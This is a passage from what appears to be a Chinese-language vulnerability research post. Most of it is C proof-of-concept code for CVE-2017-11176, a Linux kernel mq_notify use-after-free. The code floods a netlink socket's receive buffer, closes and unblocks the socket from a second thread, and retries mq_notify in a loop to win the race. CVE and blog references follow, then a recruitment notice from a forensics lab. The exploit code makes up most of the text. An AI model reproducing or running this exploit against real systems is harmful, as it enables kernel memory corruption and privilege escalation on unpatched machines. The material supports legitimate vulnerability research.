if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 || (recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0){
perror("socket wrong");
exit(-1);
}
printf("send_fd:%d, recv_fd:%dn", send_fd, recv_fd);
while(_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr)) < 0){
perror("bind pid");
addr.nl_pid++;
}
printf("netlink socket (nl_pid=%d)n",addr.nl_pid);
if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &least_size, sizeof(least_size)) < 0)
perror("setsockopt wrong");
puts("REVBUF reduced");
while (_sendmsg(send_fd, &msg, MSG_DONTWAIT) > 0);//正常返回字符数
if (errno != EAGAIN){
perror("sendmsg wrong");
exit(-1);
}
puts("Flooding full");
_close(send_fd);
return recv_fd;
}
static void *unblock_thread(void *arg)
{
int optlen = sizeof(int);
int optval = 0x1000;
struct unblock_thread_arg *para = (struct unblock_thread_arg *) arg;
para->ok = true;
sleep(3);
printf("close sock_fd:%dn",para->fd);
_close(para->fd);
puts("start to unblock");
if(_setsockopt(para->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &optval, sizeof(int)) < 0){
perror("setsockopt wrong");
exit(-1);
}
puts("unblocked");
return NULL;
}
static int vuln(int fd,int unblock_fd)
{
struct unblock_thread_arg arg;
struct sigevent sigv;
pthread_t tid;
char user_buf[NOTIFY_COOKIE_LEN];
memset(&arg,0,sizeof(arg));
arg.ok = false;
arg.fd = fd;
arg.unblock_fd = unblock_fd;
if(pthread_create(&tid,NULL,unblock_thread,&arg) < 0)
{
perror("unblock thread create wrong");
exit(-1);
}
while(arg.ok == false);
printf("sock_fd:%d, unblock_fd:%dn", fd, unblock_fd);
memset(&sigv,0,sizeof(sigv));
sigv.sigev_signo = fd;
sigv.sigev_notify = SIGEV_THREAD;
sigv.sigev_value.sival_ptr = user_buf;
_mq_notify((mqd_t)-1,&sigv);
}
int main()
{
while(1){
int sock_fd1=0;
int sock_fd2=0;
int unblock_fd=0;
if ((sock_fd1 = prepare()) < 0){
perror("sock_fd");
exit(-1);
}
sock_fd2 = _dup(sock_fd1);
unblock_fd = _dup(sock_fd1);
puts("dup succeed");
vuln(sock_fd1,unblock_fd);
vuln(sock_fd2,unblock_fd);
_close(unblock_fd);
puts("retry...");
}
return 0;
}
效果图
参考链接
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11176
- https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html
- https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part2.html
团队招聘
现奇安信盘古石取证实验室,招移动端漏洞研究人员和移动端逆向工程师,坐标上海。
邮箱:le4f1sh#gmail.com